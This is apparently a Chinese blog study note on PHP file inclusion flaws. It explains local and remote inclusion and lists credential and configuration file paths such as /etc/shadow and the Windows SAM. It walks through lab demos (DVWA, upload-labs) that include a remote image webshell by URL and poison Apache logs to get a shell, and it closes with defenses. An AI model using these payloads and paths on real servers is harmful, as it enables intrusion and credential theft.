文件包含学习总结

目录

漏洞简介

漏洞原理

漏洞分类

漏洞防御


漏洞简介

  • 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

漏洞原理

  • 在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

漏洞分类

  • 本地文件包含

    • 只能包含本地服务器上存在的文件。

      • 用户对输入可控且无过滤

      • 可以利用相对路径或绝对路径读取系统敏感文件

  • 远程文件包含

    • 包含远程服务器上的文件。

      需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如:攻击者自己搭建的一个Web服务器)的文件。

      • allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据

      • allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件

    • 区别:

      • 本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行

      • 远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本并对外开放一个web服务,以确保该脚本能被访问到。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。

      • 本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。

    • 文件包含函数:

      复制代码
      require() include()
      require_once() include_once()
      include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
      而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
    • 可能出现文件包含的点:url中出现:?page=xxx file=xxx ?home=xxx,并且后面的参数值是一个路径或者文件,可以配合文件上传进行验证

    • 常见的敏感信息路径:

      复制代码
      windows:
      c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrc\MetaBase.xml  //IIS配置文件 c:\windows\repair\sam //存储windows系统初次安装的密码 c:\programFiles\mysql\my.ini //MYSQL root密码
      c:\windows\php.ini // php 配置信息
      复制代码
      linux:
      /etc/passwd // 账户信息
      ​
      /etc/shadow // 账户密码文件
      ​
      /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
      /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
      ​
      /usr/local/app/php5/lib/php.ini // PHP相关配置
      ​
      /etc/httpd/conf/httpd.conf // Apache配置文件
      ​
      /etc/my.conf // mysql 配置文件
    • 远程文件包含演示:这里使用的是dvwa和upload-labs结合,让upload-labs文件包含漏洞模块成功包含dvwa文件上传的图片马.(此处注意包含的远程文件不能为php文件,否则不是在upload-labs机器上执行,而是在原文件所在服务器上执行--源文件服务器可以解析PHP文件的情况下.)

      • 首先在dvwa中上传图片马:

      • 使用upload-labs中的文件包含:http://127.0.0.1/upload_labs/include.php?file=http://192.168.111.144/hackable/uploads/fish.png发现成功包含:

        使用蚁剑连接成功:

    • 通过文件包含getshell:

      • 中间件日志包含:

        • 和之前文件包含类似,这里我们需要知道日志的地址,同时让php代码加载到日志中,并且让文件包含文件能够包含得到日志文件,这样就可以getshell

        • 这里的实例仍然使用dvwa:首先赋予权限,确保web服务器可以访问的到日志文件:chmod 755 /var/log/apache2 chmod 644 access.log 然后使用dvwa访问一段php代码,这里使用phpinfo做演示,注意,url中直接发送会使得特殊符号编码,于是抓包修改,这里我们可以在日志文件中发现我们写入的php代码:

        • 在通过文件包含就可以执行,http://192.168.111.144/vulnerabilities/fi/?page=/var/log/apache2/access.log后续只需将phpinfo改为一句话木马即可getshell

      • 配合文件上传getshell:在upload-labs中已经进行演示,主要是利用文件上传图片马,然后通过文件包含使得文件被当做php文件解析,最后蚁剑连接

漏洞防御

    1. 设置白名单(文件名可以确定)

    2. 过滤危险字符(判断文件名称是否为合法的php文件)

    3. 设置文件目录权限(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录)

    4. 关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)

    5. 严格检查include类的文件包含函数中的参数是否外界可控

相关推荐
深圳安锐科技有限公司1 小时前
基坑渗压数据不准?选对渗压计能实现自动化精准监测吗?
安全·自动化·自动化监测·大坝监测·渗压计
落鹜秋水2 小时前
Cacti命令执行漏洞分析(CVE-2022-46169)
web安全·网络安全
Arwen3033 小时前
解密国密 SSL 证书:SM2、SM3、SM4 算法的协同安全效应
算法·安全·ssl
dingzd953 小时前
通过 Web3 区块链安全评估,领先应对网络威胁
安全·web3·区块链·facebook·tiktok·instagram·clonbrowser
Safe network access4 小时前
2023江苏省第二届数据安全技能大赛决赛题
安全·ctf
未来之窗软件服务6 小时前
网站访问信息追踪系统在安全与性能优化中的关键作用——网络安全—仙盟创梦IDE
安全·web安全·性能优化·仙盟创梦ide·东方仙盟
用户299055866876 小时前
Apache-Http-Server CVE-2021-42013
安全
花海如潮淹8 小时前
API安全监测工具:数字经济的免疫哨兵
网络·经验分享·笔记·安全
介一安全11 小时前
【Web安全】逻辑漏洞之URL跳转漏洞:原理、场景与防御
安全·web安全·安全威胁分析·安全性测试·逻辑漏洞·url跳转
Gauss松鼠会11 小时前
华为云DRS实现Oracle到GaussDB数据库迁移的全流程技术方案
数据库·sql·安全·华为云·database·gaussdb